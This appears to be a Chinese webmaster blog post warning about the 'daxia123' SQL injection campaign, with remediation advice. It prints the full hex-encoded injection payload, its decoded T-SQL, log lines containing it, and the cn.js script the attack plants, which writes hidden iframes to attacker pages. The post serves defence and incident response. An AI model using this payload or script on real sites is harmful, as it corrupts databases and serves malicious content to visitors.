daxia123 網站木馬近期橫掃國內網站【站長都來】

注入攻擊攔截的源碼:

 dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s)

 

我把源碼轉譯了一下,大家可以看看,前後你細心看看就知道了,下面是中間部分也就是@s的代碼:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.jxmmtv.com/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

解決方法有很多種,我簡單介紹下思路吧

1、如果是自己的服務器那就簡單了,裝個iis攔截軟件就ok了,也不費事,網上有很多一流的信息監控攔截系統;

2、當然也可以自己過濾了,可以用關鍵詞或長度等都可以;

 

如果您的網站不幸中招了,補救的思路也很重要,好的方法會讓您的網站減少損失

思路:

看到我上面轉的轉的碼了吧,仔細分析一下吧,如果你有備份的數據庫快拿出來吧,你應該有,最近的,建個測試的庫,只要你把上面的sql稍加修改,再通過你建的那個最近的備份庫,就可以把你備份之前的數據全部恢復了,然後備份以後的數據也會在,只是部分被截取注入了。

 

下面是一位好心人的文章,大家也可以看看,多瞭解點:

 

最近網站經常被這樣掛馬
修改用戶數據庫掛馬,google搜索有2000多網站中招
我的也中招了,我分析了一下。
以下是cn.js的代碼
window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("cnxxx=");
if (start != -1)
{
}
else
{
  var expires = new Date();
  expires.setTime(expires.getTime()+1*3600*1000);
  document.cookie = "cnxxx=update;expires="+expires.toGMTString();
  document.write(" <iframe src=http://cn.daxia123.cn/cn.htm width=200 height=0> </iframe>");
  document.write(" <iframe src=http://cn.daxia123.cn/s.htm width=200 height=0> </iframe>");
}
而上述引用到的cn.htm的代碼是:
<script src="http://s39.cnzz.com/stat.php?id=1184740&web_id=1184740"
language="JavaScript" charset="gb2312"> </script>
可以看出是爲了向中國站長網刷IP的。如果有中國站長網的人,請明確一下上述代碼的作用,
根據id=1184740&web_id=1184740找出真兇。
而上述引用到的s.htm的代碼是一些亂碼,我發在附件,高手幫分析一下。
請解決問題的朋友來幫幫忙吧~
猜測會不會是通過sql注入式攻擊,但我們的代碼已經進行防水處理了,不知道是從哪兒攻擊網站的

網上有的朋友找到了下面內容:
目前發現一個問題了,是注入式攻擊,通過對訪問日誌的查看,終於發現了訪問有問題,來自IP-121.42.214.238(河北省邯鄲市)的訪問裏面,有一段:
GET  /news/more.asp  classid=18;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--  80  -  121.42.214.238  Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)  404  0  3
裏面明顯地有注入的攻擊代碼。我猜想會不會是這個引起的病毒,而這一訪問也和我的網站中病毒時間吻合,所以強烈建議大家檢查你的網站,是不是對程序進行過防水處理了!
快過元旦了,大家都做好安檢工作吧~
希望大家幫忙頂,讓更多人知道這個木馬,讓更多人受益
我也做了防止SQL注入的代碼,可還是被修改數據庫存中內容
下面的是日誌
/gqxx/gx_info.asp id=48941';dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);-- 80 - 122.9.2.39 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 0
我用的就是.net


原因基本查到了,就是攻擊者將攻擊代碼用2進制,或10或10進制編譯成了
類似於這樣的代碼:0x4445434C415245204054205641524348415228323535292C404
放sql注入的代碼不能檢測出來,但是sql server 會把這樣的代碼在解釋成原來的樣子
這樣就繞過了sql防注入代碼。


但是,這個代碼僅對能解釋它的sql server這樣的數據庫有效
針對access這樣的不能解釋它的數據庫類型攻擊無效


我也中了這個大俠123的木馬,我使用了一個暫時解決的辦法,對vachar或nvachar字段長度做了限制,找出該字段最長的字段長度N,然後將該字段的最大長度設爲N,發現效果還可以,至少已經有2天沒有被注入了,其他如ntext或text字段的就做了一個觸發器的限制,不允許插入script。
如果按13樓所說是2進制注入的話,我覺得可以通過判斷post值的長度來臨時解決,畢竟正常情況下不會傳一個這麼長的值吧

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章